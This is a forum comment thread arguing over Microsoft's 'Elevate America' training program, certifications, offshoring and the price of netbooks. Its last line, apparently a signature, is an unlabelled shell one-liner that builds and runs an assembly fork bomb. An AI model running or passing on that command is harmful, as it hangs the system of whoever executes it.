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Microsoft Unveils "Elevate America"
nandemoari writes "In response to the current economic crisis, Microsoft Corp. has come out with a stimulus plan of their own. Their goal is to help a large group of individuals use their computers to land employment in ways other than to generate a compelling resume. The new online initiative, Elevate America, is set to equip close to 2 million people (over the next three years) with the skills needed to succeed in the field of technology."
That's great, but aren't there already more people equipped with computer skills than the market needs? America doesn't need more job-qualified people (at least, that's not the big problem), it needs jobs to put those people in to.
Whale
Microsoft is just grabbing the opportunity to train more devs and IT in advanced Microsoft products. After all, this is what ensures that companies use these products; that way, the companies don't have to pay for training.
They also use this tactic with student/academia discounts, also.... (MSDNAA, anyone?)
I'm glad that I'm not the only one who reads this as "brace yourself for 2 million more unemployed MSCE's to dilute the IT field within the next 3 years". Sorry for the cynicism, but I see this as Microsoft trying to raise a generation of tech users and admins who know nothing of the tech world beyond Windows.
I prefer rogues to imbeciles because they sometimes take a rest.
Cause I'm having a hard time justifying a $200 OS for my $300 laptop ... at least in the Real America that most of us live in.
Oh, and no takebacks on the Elevation, like they did with the firings of their staff and the pay they "overpaid" ...
-- Tigger warning: This post may contain tiggers! --
"...The new online initiative, Elevate America, is set to equip close to 2 million people (over the next three years) with the skills needed to succeed in the field of technology."
This would have been better and on point:
"...The new online initiative, Elevate America, is set to equip close to 2 million people (over the next three years) with the skills needed to succeed in using Microsoft technologies to perpetuate their proliferation while increasing dependence on such technologies at the same time."
It should read, "... is set to equip close to 2 million people (over the next three years) with the skills needed to succeed in the field of Microsoft technology."
First off, of course computer sales are in a slump. They were in a slump during the last big economic downturn, too. (Remember the "bubble"?) That doesn't mean much of anything.
And the jobs never did come back to America- it took 7 years for the number of jobs to be EQUAL to that before the crash, and during that time we imported just about as many workers as we gained jobs.
Second: Microsoft's slump is probably due more to peoples' general (and increasing) dissatisfaction with Microsoft than anything else. But the economy will hurt them, too. Maybe a lot. After all, a 5-year-old PC can run Linux just fine. But try Vista on it. Nope, didn't think so.
Look at the 2nd link above- this isn't just about Microsoft. Software development in general is about as economically efficient as textile work now.
I would be willing to bet that Microsoft's slump lasts longer than any slump for Intel
Whose last big processor, the Nehalem, was designed and built in Bangalore
AMD
I'm going to be amazed if they're still in business now that their credit has dried up
Google.
Who just opened a development office in Mumbai- goodbye Silicon Valley.
SJW: a person who perceives an injustice, and while correcting it, commits a greater injustice.
2 million more arrogant pricks who don't know what they're doing.
There, fixed that for you.
I think some /.ers miss the point when they suggest this is about selling MS software. This is not about increasing MS revenue by selling more software, this is about increasing MS revenue by selling courses and certifications.
I am so pissed with MS lately, after Bill left they switched over from "certifying qualified people to support their products" to "selling certifications". Red Hat and Cisco certs are the way to go, they do a better job of testing real world experience, Red Hat being the best.
For the record I have the following certs, MCP, MCTS, MCITP: Enterprise Adminstrator, MCSA, MCSA: Messaging, MCSE, MCSE: Messaging.
Respect the Constitution
Most of those jobs didn't leave the country, exactly - they vanished because they were never real in the first place. You can only continue employment on speculative investment for so long. Like right up until the bubble bursts.
It's time the geek stopped wallowing in his own FUD.
The Acer XP laptop with an Atom CPU, a 9" screen, 1 GB RAM and a 160 GB HDD is $298 at Walmart.com.
In six months to a year the OS will be Win 7, the specs significantly better, and the price will still be cheaper than OEM Linux.
The lone Linux netbook?
A Dell Inspiron with 512 MB of RAM and 4 GB of Flash for $350.
"Not sold in stores."
In my client's building, a state government agency, with 800 total staff, about half are H1-Bs. OK, some of them may have green cards, but either way that's 400 Americans out of work. I go to Hartford for meetings at an insurance company sometimes. At quitting time, the ratio of people coming out must be 5 H1-Bs for every American (not buying insurance from that named-for-a-Connecticut-city company). I can't believe the .25% number is remotely accurate.
How many unemployed Americans do we need before something gets done about this?
That 4% must all be in my group.
Clearly you get paid to do this? Not the first time I've seen a post to "getthefacts" which resolves to http://www.microsoft.com/windowsserver/compare/default.mspx ...which ironically uses a flash container!
Anyway, the compare tabs are interesting. I don't disagree that solutions from MSFT work and work well but to pick nits about unix requiring maintenance and other blah blahs, it's all marketing speak. And good for ya.
Free is never free. Just like free software to schools -- it's about your first hit.
This started happening at approximately the same time when 'computer skills' became synonymous with 'office suite skills'.
Seems to me that ms wants to suckle money from the Stimulus Package by giving false hope to tens of thousands of people who already have enormous competition from hundreds of thousands of already- ms-certified techhies out there who DO NOT need the extra competition, but who will suffer from the lower pay expectations of the newcomers.
Sounds like a quasi reach-around. People wanting to get into tech jobs can already go to local city/county/state offered programs. But, in making this "levitate/satiate/simulate Amerca" pitch of theirs, they probably hope someone in the Obama administration is green (or dumb) enough to say, "Hey, lets give ms some of that money and let them decide how to dole out the vouchers...." Only thing is is that ms as SURELy would love to get the money, and put the vouchers down to the lowers dollar amount they can get away with.
Previously: "Linux... Toward the Sunrise..." Now: "Linux... Toward the-- No, now, part of Every Sunrise"
This is just great. 'Free' training on how to use Microsoft products.
First, I would find online training on how to use the Internet, well, kinda bizarre, as you need to know how to use the Internet to access the online training.
Second, free training on how to use Microsoft-specific technology, at a time when arguably, more companies are moving away from being Microsoft-only shops, primarily for reasons of cost, only really helps Microsoft (and I guess the people who know stuff other than MS products), because it just increases the number of works with skills companies are less likely to want and/or need.
Sleep your way to a whiter smile...date a dentist!
Or even longer if you can get the Federal Government to bail you out.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;